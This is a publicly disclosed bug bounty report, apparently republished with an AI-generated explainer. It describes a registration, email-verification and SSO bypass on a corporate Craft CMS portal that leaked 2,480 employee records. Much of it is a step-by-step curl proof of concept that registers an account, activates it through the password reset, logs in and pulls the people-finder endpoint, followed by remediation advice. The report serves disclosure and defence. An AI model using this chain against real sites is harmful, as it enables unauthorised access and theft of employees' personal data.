Unauthenticated Account Registration + Email Verification Bypass + PII Data Leak (2,480 Records) on ████████
A public portal allowed anyone to register an account, and the password reset flow would activate a still-pending account, bypassing both email verification and the SAML SSO requirement. The resulting authenticated session could then read an API endpoint that returned 2,480 employee records with names, emails and profile links.
- Triaged in 3 days
- Fixed in 11 days
- Disclosed after 12 days
Summary
The ████████ portal at ████████ (intended only for authorized Essity employees and partners) has a multi-step vulnerability chain that allows any unauthenticated attacker to:
- Register an account via the public ████████ API
- Bypass email verification by exploiting the password reset flow on the pending account
- Login successfully with an "active" account
- Access protected API endpoints that leak 2,480 employee records (names, emails, profile URLs)
This bypasses both the SAML SSO requirement and the email verification gate.
Attack Chain (Fully Automated PoC)
Step 1: Register Account (No Auth Required)
# Get CSRF token from unauthenticated Blitz endpoint
CSRF=$(curl -sk https://████████/actions/blitz/csrf/json)
TOKEN=$(echo "$CSRF" | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
# Register arbitrary user
curl -sk -X POST '████████' \
-H 'Accept: application/json' \
-H 'X-Requested-With: XMLHttpRequest' \
--data-urlencode "CRAFT_CSRF_TOKEN=${TOKEN}" \
--data-urlencode 'email=████████' \
--data-urlencode 'password=████████' \
--data-urlencode 'firstName=Test' \
--data-urlencode 'lastName=User'
Response: {"success":true,"id":████████}
Step 2: Request Password Reset for Pending Account
curl -sk -X POST 'https://████████/actions/users/send-password-reset-email' \
-H 'Accept: application/json' \
-H 'X-Requested-With: XMLHttpRequest' \
--data-urlencode "CRAFT_CSRF_TOKEN=${TOKEN}" \
--data-urlencode 'loginName=████████'
Response: {"success":true}
The reset email is sent even though the account is in "pending verification" state.
Step 3: Use Reset Code to Activate Account
The reset email contains: ████████
curl -sk -X POST 'https://████████/actions/users/set-password' \
-H 'Accept: application/json' \
-H 'X-Requested-With: XMLHttpRequest' \
--data-urlencode "CRAFT_CSRF_TOKEN=${TOKEN}" \
--data-urlencode 'code=████████' \
--data-urlencode 'id=████████' \
--data-urlencode 'newPassword=████████' \
--data-urlencode 'confirmPassword=████████'
Response: {"success":true,"status":"active"}
The account status changes from "pending" to "active", completely bypassing email verification.
Step 4: Login
curl -sk -X POST 'https://████████/actions/users/login' \
-H 'Accept: application/json' \
-H 'X-Requested-With: XMLHttpRequest' \
--data-urlencode "CRAFT_CSRF_TOKEN=${TOKEN}" \
--data-urlencode 'loginName=████████' \
--data-urlencode 'password=████████'
Response: {"success":true,"returnUrl":"https://████████/"}
Step 5: Access PII Data
curl -sk -b <session_cookie> 'https://████████/api/people-finder.json'
Response: 562KB JSON with 2,480 employee records containing:
- Employee IDs
- Full names
- Email addresses ████████
- Profile page URLs
- Job titles (where populated)
See ████████ people_finder_full_extract.json
Verified Evidence
| Evidence | Status |
|---|---|
| Account creation (ID ████████) | CONFIRMED |
| Password reset on pending account | CONFIRMED (email received) |
| Account activation via set-password | CONFIRMED (status: active) |
| Login success | CONFIRMED (returnUrl + session cookie) |
| people-finder.json data leak (2,480 records) | CONFIRMED (562KB response) |
| Session info shows authenticated user | CONFIRMED (isGuest: false, id: ████████) |
Test Account
| Field | Value |
|---|---|
| ████████ | |
| Password | ████████ |
| User ID | ████████ |
| UUID | ████████ |
| Status | Active (pending admin approval for full portal, but API accessible) |
Affected Endpoints
| Endpoint | Auth Required | Behavior |
|---|---|---|
| POST /actions/████████ | None | Creates user accounts |
| POST /actions/users/send-password-reset-email | None | Works for pending accounts |
| POST /actions/users/set-password | None + valid code | Activates pending accounts |
| POST /actions/users/login | None | Returns authenticated session |
| GET /api/people-finder.json | Session (no approval) | Returns 2,480 PII records |
| GET /asset-library/manage-collections | Session (no approval) | Returns collections HTML |
| GET /actions/blitz/csrf/json | None | Provides CSRF tokens |
Impact
Impact
| Impact | Description |
|---|---|
| PII Data Breach | 2,480 employee records exposed (names, corporate emails, profile URLs) |
| Access Control Bypass | SAML SSO requirement completely bypassed via direct API registration |
| Email Verification Bypass | Password reset flow activates accounts without email confirmation |
| Spear Phishing Enabler | Leaked employee directory enables targeted social engineering |
| Brand Asset Exposure | Authenticated access to collections management (████████ guidelines, assets) |
Remediation
- Disable public user registration or restrict to allowlisted email domains ████████
- Do not send password reset emails to unverified accounts (Craft CMS should check
pendingstatus before sending) - Enforce admin-approval gate on ALL authenticated endpoints, not just the portal views. The
/api/people-finder.jsonendpoint must check group permissions. - Remove Blitz CSRF endpoint from public access or add rate limiting
- Add CAPTCHA to registration and password reset flows
- Audit all API endpoints for missing authorization checks on non-approved users
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the password reset and set-password actions did not check whether an account was still pending verification, and the people-finder API checked only for a session rather than an approved account.
Impact
An unauthenticated attacker could obtain a working account without email verification or SSO and read 2,480 employee records, enabling targeted phishing; the text notes the account still lacked full portal approval but the API remained reachable.
What the attacker needed
No account needed; attacker can receive email at chosen address; victim not required
The fix
Public registration should be disabled or domain-restricted, password resets should not be sent to unverified accounts, and every authenticated endpoint including the people-finder API should enforce the admin-approval gate.
How it was found
- Fetch a CSRF token from the unauthenticated CSRF endpoint.
- Register a new account through the public registration action.
- Request a password reset for the still-pending account.
- Use the reset code with the set-password action, which flips the account to active.
- Log in with the new credentials to obtain a session.
- Call the people-finder API with the session to retrieve the employee records.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The site let anyone create a login, and normally you would have to confirm your email before the account worked. But the 'forgot password' feature would happily reset and activate an account that had never been confirmed, so the confirmation step was skipped. Once logged in, a data feed meant for staff handed over a list of thousands of employees.
What is Account takeover?
Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.